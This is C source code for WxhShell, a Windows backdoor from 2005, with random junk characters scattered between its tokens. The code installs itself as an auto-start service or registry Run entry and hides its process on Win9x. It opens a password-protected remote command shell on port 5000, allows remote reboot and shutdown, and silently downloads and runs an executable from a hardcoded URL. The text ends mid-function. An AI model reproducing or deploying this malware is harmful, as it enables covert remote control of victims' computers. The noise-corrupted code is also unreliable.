?D@WXE0a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k+u L^teyS NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GZiN&}5e VPDd*32HC if (!NtQueryInformationProcess) return 0; ;3O=lo:$~ F$,i_7Z&6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OYIH**? if(!hProcess) return 0; %c&<{D}r KupQtT< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; enQev?8% Y7@$#/1 CloseHandle(hProcess); \avgXndI Q[% +y. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WD'[|s\ if(hProcess==NULL) return 0; X|pOw," *46hw(L HMODULE hMod; lT-LOu| char procName[255]; |("zW7g unsigned long cbNeeded; [G}l; pM_oIH'8: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UV)!zgP _Dg|Iz,Uh CloseHandle(hProcess); 2u^/yl N._&\fHY if(strstr(procName,"services")) return 1; // 以服务启动 l%xjCuuhU :LMLY<8>9 return 0; // 注册表启动 af;~<oa }
5wy3C LLW\1 cxi // 主模块 b#{[Pk,w9 int StartWxhshell(LPSTR lpCmdLine) +FlO_=Bu { UZ 6:vmcT SOCKET wsl; ]=T-Cv=t BOOL val=TRUE; De:| T8& int port=0; L[.RV*sL struct sockaddr_in door; f-l(H="e &0%x6vea if(wscfg.ws_autoins) Install(); EPGp8VGXp~ xe!6Pgcb port=atoi(lpCmdLine); `@Tl7I\ VF] ~J=>i if(port<=0) port=wscfg.ws_port; ?CUGJT -_"6jU WSADATA data; QwgP+ M+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9w( Wtw' ^+'\
u;\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?'r=>'6D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u:s[6T0 door.sin_family = AF_INET; a+ lGN door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7C@%1kL door.sin_port = htons(port); FJ(}@U}57 ;ax%H @o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a!Ht81gj closesocket(wsl); s'yT}XQ;r return 1; -"MB(` } t}q\. "`&1"* if(listen(wsl,2) == INVALID_SOCKET) { ^4 ?LQ[t' closesocket(wsl); \zGmZZ return 1; U>=&
2Z2? } *wD| eK7 Wxhshell(wsl); )7}f. WSACleanup(); )=@SA`J # 8fq6z|JZ return 0; mx;1'!'fr l0-zu6iw } aokV'6 oZSPdk
// 以NT服务方式启动 3C7}V{? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {Jn*{5tZ> { + Ssu^>D DWORD status = 0; T5b*Ia DWORD specificError = 0xfffffff; 4J${gcju 0; BX serviceStatus.dwServiceType = SERVICE_WIN32; C])b 3tM,7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; LOf)D7T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E[2>je serviceStatus.dwWin32ExitCode = 0; QdtGFY4f, serviceStatus.dwServiceSpecificExitCode = 0; %e|.a)78 serviceStatus.dwCheckPoint = 0; k1HVvMD< serviceStatus.dwWaitHint = 0; QssU\@/Q u#r[JF9LP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jNu`umS if (hServiceStatusHandle==0) return; "ukiuCfVuW KKJ)BG?qZ status = GetLastError(); ,ctm;T1H+ if (status!=NO_ERROR) 7ts`uI<E@7 { i^2-PKPg{ serviceStatus.dwCurrentState = SERVICE_STOPPED; !bg2(2z serviceStatus.dwCheckPoint = 0; iz@LS serviceStatus.dwWaitHint = 0; AaX][2y8 serviceStatus.dwWin32ExitCode = status; bj$VYS"kY serviceStatus.dwServiceSpecificExitCode = specificError; "nQ&~KQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); !5zDnv return; nXFPoR)T } 49d02AU% Q$XNs%7w5, serviceStatus.dwCurrentState = SERVICE_RUNNING; odaCKhdk serviceStatus.dwCheckPoint = 0; <2,NWn. serviceStatus.dwWaitHint = 0; &&$,BFY4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J*FUJT } |rr<4>)X Wv7hY" // 处理NT服务事件,比如:启动、停止 rGIf/=G^r VOID WINAPI NTServiceHandler(DWORD fdwControl) YQ$EN>.eO { ScCA8JgY switch(fdwControl) yhG%@vSq { J@l QzRqRb case SERVICE_CONTROL_STOP: c]]e( serviceStatus.dwWin32ExitCode = 0; >Sc/E}3 serviceStatus.dwCurrentState = SERVICE_STOPPED; #_?m.~`g[ serviceStatus.dwCheckPoint = 0; unD.t serviceStatus.dwWaitHint = 0; 7GG:1:2+> { up==g SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]TX"BH"2 } I3,0vnE@ return; pgipT#_K case SERVICE_CONTROL_PAUSE: sEzl4I serviceStatus.dwCurrentState = SERVICE_PAUSED; cf+EQY break; >i!y[F case SERVICE_CONTROL_CONTINUE: wmB_)`QNP serviceStatus.dwCurrentState = SERVICE_RUNNING; ;>*Pwz`~jT break; Zgw4[GpL case SERVICE_CONTROL_INTERROGATE: W87kE?, break; G(;R+%pu }; 8.ej65r* SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;6}> Shs } twP%+/g]< Dt:NBN // 标准应用程序主函数 \&\U&^? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~i
UG2 4v { w\lc;4U -Dy":/Bk // 获取操作系统版本 8DGPA OsIsNt=GetOsVer(); x T1MW GetModuleFileName(NULL,ExeFile,MAX_PATH); }U ue}VOA wJF(&P // 从命令行安装 L};P*{q2Z if(strpbrk(lpCmdLine,"iI")) Install(); 8DkZ@} %;,4q B
// 下载执行文件 utU;M* if(wscfg.ws_downexe) { ^H`4BWc if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?
J/NYV WinExec(wscfg.ws_filenam,SW_HIDE); V='A;gs } h{ T{3 I(uM`g if(!OsIsNt) { 6%Pvh- ~_ // 如果时win9x,隐藏进程并且设置为注册表启动 y*e({fio_ HideProc(); y<kg;-& 8 StartWxhshell(lpCmdLine); #H;1)G(/ } GG
%*d] else PIHKSAnq if(StartFromService()) R>hL.+l. // 以服务方式启动 -ND1+`yD StartServiceCtrlDispatcher(DispatchTable); j[4l'8Ek else {~`{bnx^]7 // 普通方式启动 C:.>*;?7 StartWxhshell(lpCmdLine); LcTTfb+< ',!>9Dj return 0; qOflvf } ?Xj@Sx :A+}fBIN LKgo(&mY "dHo6CT,y_ =========================================== ,V[|c$ `SQobH
[IgqK5@ O~|Y#T +5Ju `Z (5e4>p&+ " @w(X}q1 qfqL"G #include <stdio.h> {E.A?yej9 #include <string.h> R`M@;9I.@ #include <windows.h> Y*sw;2Z;a #include <winsock2.h>
EUW>8kw0 #include <winsvc.h> Cx&l0ZXHEX #include <urlmon.h> :r7!HG_ vlFq-W! #pragma comment (lib, "Ws2_32.lib") ?kS#g #pragma comment (lib, "urlmon.lib") pJIJ"o'>.9 6?a z #define MAX_USER 100 // 最大客户端连接数 .\:MB7p #define BUF_SOCK 200 // sock buffer bX
6uGu
7 #define KEY_BUFF 255 // 输入 buffer @|{8/sOq _jH./ @G #define REBOOT 0 // 重启 jhJ<JDJ?` #define SHUTDOWN 1 // 关机 .>S1do+ DB}v.. #define DEF_PORT 5000 // 监听端口 g_rk_4] o#>Mf464I
#define REG_LEN 16 // 注册表键长度 5!aI~(3< #define SVC_LEN 80 // NT服务名长度 /qFY$vj VQ8Fs/Zt! // 从dll定义API O*lE0~rJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); % bKy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uN1VkmtDO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nJ$2RN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C~pQJ@bF0 D5:|CMQ // wxhshell配置信息 vy`
lfbX@ struct WSCFG { WJ^]mpH9 int ws_port; // 监听端口 cP\ZeG#< char ws_passstr[REG_LEN]; // 口令 ) I(9qt>Y int ws_autoins; // 安装标记, 1=yes 0=no rjj_]1?K char ws_regname[REG_LEN]; // 注册表键名 qJ2Z5 char ws_svcname[REG_LEN]; // 服务名 ~NLthZ(O char ws_svcdisp[SVC_LEN]; // 服务显示名 KzQFG)q , char ws_svcdesc[SVC_LEN]; // 服务描述信息 +3sbpl2} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?9>wG7cps7 int ws_downexe; // 下载执行标记, 1=yes 0=no hQ@#h`lS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =yoR>llbBC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fs-LaV
0 \<dg }; ";7/8(LBZ 3177 R>0 // default Wxhshell configuration 4*IXBi7% struct WSCFG wscfg={DEF_PORT, |'I>Ojm "xuhuanlingzhe", x-W~&`UU 1, /^v!B`A@ "Wxhshell", k~3\0man "Wxhshell", 6J@,bB
jVz "WxhShell Service", <P/odpmc "Wrsky Windows CmdShell Service", m*YfbOhs# "Please Input Your Password: ", HF"TS* 1, f~ /hsp~Hp "http://www.wrsky.com/wxhshell.exe", 6b$C/ "Wxhshell.exe" 4jGN:*kZ }; |QMmF" 0 =F}qT|K // 消息定义模块 J*Ie# :J] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^,FG9 char *msg_ws_prompt="\n\r? for help\n\r#>"; b)M-q{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R MOs1<D char *msg_ws_ext="\n\rExit."; }q'IY:r char *msg_ws_end="\n\rQuit."; LI&E.(: char *msg_ws_boot="\n\rReboot..."; +\;Ro18? char *msg_ws_poff="\n\rShutdown..."; pzoh9}bue char *msg_ws_down="\n\rSave to "; 6\jbSe ZJc{P5a1J char *msg_ws_err="\n\rErr!"; *po
o.Zz char *msg_ws_ok="\n\rOK!"; d:>'c=y %NJ0Y(:9( char ExeFile[MAX_PATH]; f F)M'C int nUser = 0; w!v^6[! HANDLE handles[MAX_USER]; h::(b ,|f7 int OsIsNt; d*VvQU8C 43-Bx`6\ SERVICE_STATUS serviceStatus; .'Q*_};W SERVICE_STATUS_HANDLE hServiceStatusHandle; VzIZT{ BDzAmrO< // 函数声明 sD2,!/' int Install(void); _ `O",Ff int Uninstall(void); 8y int DownloadFile(char *sURL, SOCKET wsh); oU @!R int Boot(int flag); TQ:5@1aT void HideProc(void); <8Tp]1z int GetOsVer(void); CTKw2`5u int Wxhshell(SOCKET wsl); - 0q263z void TalkWithClient(void *cs); nTGZ2C)c<' int CmdShell(SOCKET sock); 0#Pa;( int StartFromService(void); S.B?l_d^ int StartWxhshell(LPSTR lpCmdLine); _b>{:H&\ ~piE$"]& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0^nF: F VOID WINAPI NTServiceHandler( DWORD fdwControl ); s$qc& [!wJIy?, // 数据结构和表定义 &A.0(s SERVICE_TABLE_ENTRY DispatchTable[] = [KHlApL { [tJn!cMs {wscfg.ws_svcname, NTServiceMain}, K(PSGlI f {NULL, NULL} l0URJRK{* }; [7~AWZU3 tKcC{ // 自我安装 zv0sz]) int Install(void) @#hvQ6u { 4e .19H9 char svExeFile[MAX_PATH];
FXn98UF Y HKEY key; ~_"V7 strcpy(svExeFile,ExeFile); 9QB,%K_:4 8!!h6dQgI // 如果是win9x系统,修改注册表设为自启动 _deEs5i if(!OsIsNt) { p=A,yGDV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dQ-shfTr] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^2 H-_ RegCloseKey(key); 3h>L0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Wb"/Hn2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /3^XJb$Sa RegCloseKey(key); rO.[/#p\ return 0; );JWrkpz } <)~-] } *s"OqTM]x } O $e"3^Pa else { ~8mz.ZdY 8q{|nH // 如果是NT以上系统,安装为系统服务 7}~w9jK"F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Br}@Vvq@ if (schSCManager!=0) Jq(;BJ90R { s$fX
; SC_HANDLE schService = CreateService pg7~%E4 ( /FC
HF#yK schSCManager, hLuv wscfg.ws_svcname, @MTv4eC}e wscfg.ws_svcdisp, }v|_]
SERVICE_ALL_ACCESS, D84&=EpVZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v6=%KXSF SERVICE_AUTO_START, )D/,QWk SERVICE_ERROR_NORMAL, 0x5Ax=ut svExeFile, Q8h0.(#- NULL, bQq/~ NULL, ^t7u4w! NULL, "]q
xjs^3? NULL, sU*?H`U3d NULL ovM;6o ); *<67h*|) if (schService!=0) bfoTGi
{ %]0?vw:;j CloseServiceHandle(schService); >K,QP<B CloseServiceHandle(schSCManager); WrDFbcH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2#^g] o-N strcat(svExeFile,wscfg.ws_svcname); 0?/gEr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k,=<G, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R?:Q=7K RegCloseKey(key); EZI#CLT[ return 0; 9m2FH~ } %}zkmEY.e } e<9 ^h)G CloseServiceHandle(schSCManager); 8/tB?j } |36%B7H } N1c0>{ xcmg3:s return 1; a*X{hU9P } \WC,iA%Y ]*k ~jY, // 自我卸载 j;y(to-e>D int Uninstall(void) K.wRz/M&g { ~?aFc) HKEY key; |3B<;/v5 d@{12hq if(!OsIsNt) { 59j`Z^e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -o"b$[sf=Z RegDeleteValue(key,wscfg.ws_regname); yeta)@nH RegCloseKey(key); K*DH_\SPK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^8,prxaok RegDeleteValue(key,wscfg.ws_regname); jG{?>^ RegCloseKey(key); zT&"rcT"> return 0; }2RbX,0l9 } nF]R" } K{DmMi];I } c\rP
-"C else { U&R)a|
7R 5ta;C G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $#5'c+0 if (schSCManager!=0) EHf,VIC8 { wt9f2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }qp)VF if (schService!=0) ue7D'
UZL> { &W<9#RPK' if(DeleteService(schService)!=0) { rWNe&gFM CloseServiceHandle(schService); #P}n+w_@ CloseServiceHandle(schSCManager); tF/Ni*\^rV return 0; tx<^PV2 } P(@Q[XQ2 CloseServiceHandle(schService); nPI$<yW7F } tpA-IL?KQw CloseServiceHandle(schSCManager); 7\g#'#K } eA]8M^ } )XSHKPTQ1 *^G, return 1; d42Y` Wu } fNx!'{o" |n;);T( // 从指定url下载文件 @IbZci)1 int DownloadFile(char *sURL, SOCKET wsh) 1@LUxU#Uu$ { >JA-G@3i HRESULT hr; V+lS\E. char seps[]= "/"; vdUKIP
=|_ char *token; Tzjv-9^V char *file;
K5`*Y@ char myURL[MAX_PATH]; 7uw-1F5x7 char myFILE[MAX_PATH]; =IX-n$d`> hfbu+w): strcpy(myURL,sURL); l0t(t*[Mj token=strtok(myURL,seps); "v0bdaQH3 while(token!=NULL) -:r<sv$ { 2x|FVp file=token; {*8G<& token=strtok(NULL,seps); $E; Tj|W } eG2'W :F[s GetCurrentDirectory(MAX_PATH,myFILE); oVp/EQ strcat(myFILE, "\\"); 4|cRYZj5 strcat(myFILE, file); $Q'LDmot send(wsh,myFILE,strlen(myFILE),0); byt$Wqdl send(wsh,"...",3,0); 6; )5v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JP( tf+ if(hr==S_OK) *a8 <cf return 0; Qof%j@ else N5K2Hv<" return 1; $g VbeQ UB8n,+R } @U?&1.\ 47{5{/B- // 系统电源模块 .X.6<@$ int Boot(int flag) #k d9} { WQ:Y NmQ1p HANDLE hToken; ()t~XQ TOKEN_PRIVILEGES tkp; bV'r9&[_6 y.8nzlkE{ if(OsIsNt) { (5+g:mSfr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /f oI.S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rxy5Nrue tkp.PrivilegeCount = 1; qZV|}M>P) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p0CPeH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #E\6:UnT if(flag==REBOOT) { km^ZF<. @ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t"J{qfNs return 0; #v~dhx=R } ~d\V> else { \4<|QE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EX, {1^h return 0; CZ$B2i6 } Bzt:9hr6BO } 6r@>n_6LY else { fTK84v"7_ if(flag==REBOOT) { W
9}xfy09 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P&:[pPG return 0; eFA,xzp } %WmTG }L) else { (@^ySiU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cmCD}Skk return 0; 9Nv?j=*$ } -lv(@7o~ } 1Q9Hs(s K:AP 0Te return 1; x`I Wo:j } }o[<1+W(. +7_U(|gO // win9x进程隐藏模块 vLq%k+D# void HideProc(void) >mEfd=p { 5.yiNWh ~MYE8xrId HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M ]O4 if ( hKernel != NULL ) `2x. - { 4Xt`L"f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6zNWDUf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zA3r&stN+ FreeLibrary(hKernel); C"s-ttP
} N cGFPi(Z 15' fU! return; iAXGf V } Q%J,:J 15aPoxo> // 获取操作系统版本 !g=b=YK int GetOsVer(void) Gui[/iY,F { 0E
(G1o' OSVERSIONINFO winfo; o>Dd1
j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tw\1&*: GetVersionEx(&winfo); `Gl[e4U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K3,PmI&W
return 1; Iu >4+6 else kDM?`(r return 0; +|5 O b } ^L7!lzyo e#3RT8u# // 客户端句柄模块 &k-NDh3 int Wxhshell(SOCKET wsl) C>,> _ { 8$ #z> SOCKET wsh; :h3n[% struct sockaddr_in client; DUF$-'A DWORD myID; BS?$eai@:9 734n1-F?I% while(nUser<MAX_USER) tXZMr { Yw5-:w0f int nSize=sizeof(client); N`N?1!fM<} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KH=3HN} if(wsh==INVALID_SOCKET) return 1; y
c 8h}` .c__T{<)[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;)P=WS:= if(handles[nUser]==0) IA]wO%c closesocket(wsh); |GsMLY:0 else 3?L[ohKH?: nUser++; l+hOD{F4pS } ;c DMcKKIA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LXhR"PWZM\ /;1O9HJa return 0; tLq]#9kL } 3G2iRr.o <hTHY E= // 关闭 socket )& Oxp&x void CloseIt(SOCKET wsh) "bWx< { n~}[/ly closesocket(wsh); n"D` = nUser--; ,R3TFVV!? ExitThread(0); _2{_W9k } M+HhTW;I= rXE0jTf:a // 客户端请求句柄 3/yt void TalkWithClient(void *cs) *FZav2]- { /`DKX } {2D|,yH= SOCKET wsh=(SOCKET)cs; ]7yxXg char pwd[SVC_LEN]; B, H9EX char cmd[KEY_BUFF]; CV\y60n char chr[1]; c_M[>#` int i,j; k<+Sj
h$ &NoA, `|7 while (nUser < MAX_USER) { Ldv,(ZV,< ?CC.xE if(wscfg.ws_passstr) { ~9yKMUf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b7~Jl+m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7
@}`1>97 //ZeroMemory(pwd,KEY_BUFF); y %61xA`# i=0; 3!fR'L/i while(i<SVC_LEN) { v{uq l5&5VC) // 设置超时 T#E$sZ fd_set FdRead; [MwL=9;!H struct timeval TimeOut; @SiV3k FD_ZERO(&FdRead); Tj_K5uccU} FD_SET(wsh,&FdRead); ?Fny_{&^H TimeOut.tv_sec=8; bPP@ TimeOut.tv_usec=0; I
*sT*;U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Us'JMZ~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,pdzi9@=t A:GqR;;"x> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N0kCdJv pwd=chr[0]; &dmIv[LU if(chr[0]==0xd || chr[0]==0xa) { -Pt E+R[A pwd=0; knG:6tQ break; Xy 4k;+ } A^X\ i++; 7qOkv1.}0 } LTo!DUi` 5YNAb/!!F // 如果是非法用户,关闭 socket GQY"
+xa8] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oy=0Hsh@x } _BJ:GDz> ;w"h n* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <ml?DXT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { >[ ]iX Ua
6O~,\ while(1) {
lqL5V"2Y wZ\93W-} ZeroMemory(cmd,KEY_BUFF); [#Gu?L_W UR_Ty59 // 自动支持客户端 telnet标准 OF']- j=0; ]J!#"m-] while(j<KEY_BUFF) { \9#f:8Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Q2E1Uu% cmd[j]=chr[0]; 3I( n]; if(chr[0]==0xa || chr[0]==0xd) { kJf0..J[#< cmd[j]=0; /ZabY break; R--s
u:
} <|Lz#iV37 j++; l{C]0^6>i } KNQj U-A 6IT6EkiT // 下载文件 S>(x x"Ia if(strstr(cmd,"http://")) { iZdl0;16[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5!Y\STn if(DownloadFile(cmd,wsh)) OQ_<V xz send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(,&mE else 9H4"=!AAgD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v+Y^mV`| } Z'k?lkB2i else { T>|
hID 0Q7<;'m switch(cmd[0]) { J0R{|]W8 dS 4/spNq // 帮助 DKMkCPX% case '?': { =#9#unvE! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MDIPoS3BRa break; 7lwI]/ZH* } V*te8HIe // 安装 PV"\9OIKb. case 'i': { mMZ{W+"[f if(Install()) =GP L>a& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ['\R4H!x else x<!]#**; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lW#2 ox break; tk'&-v'h } !fAvxR // 卸载 BWYv.& |